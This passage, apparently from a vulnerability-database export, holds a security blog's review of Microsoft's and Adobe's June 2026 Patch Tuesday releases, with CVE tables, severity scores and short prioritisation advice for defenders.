<span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "680c1bda-5a6a-4545-b26c-e20dd1f9e544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48565", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service 